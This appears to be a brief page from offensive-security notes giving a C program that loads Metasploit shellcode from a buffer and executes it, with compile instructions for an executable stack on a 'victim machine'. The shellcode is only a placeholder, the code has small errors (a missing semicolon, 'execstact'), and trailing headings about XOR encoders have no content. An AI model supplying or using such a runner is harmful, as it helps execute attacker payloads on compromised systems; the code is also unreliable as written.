C Runner
Run metasploit shellcode
// compile with victim machine
// gcc -o shell.out shell.c -z execstact
// run with : ./shell.out
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
unsigned char buff[] =
"...."
"...shellcode..."
"....."
int main (int argc, char **argv)
{
// run shellcode
int (*apple)()=(int(*)())buff;
apple();
}Encoder C
Encoder XOR
Runner XOR in C:
Last updated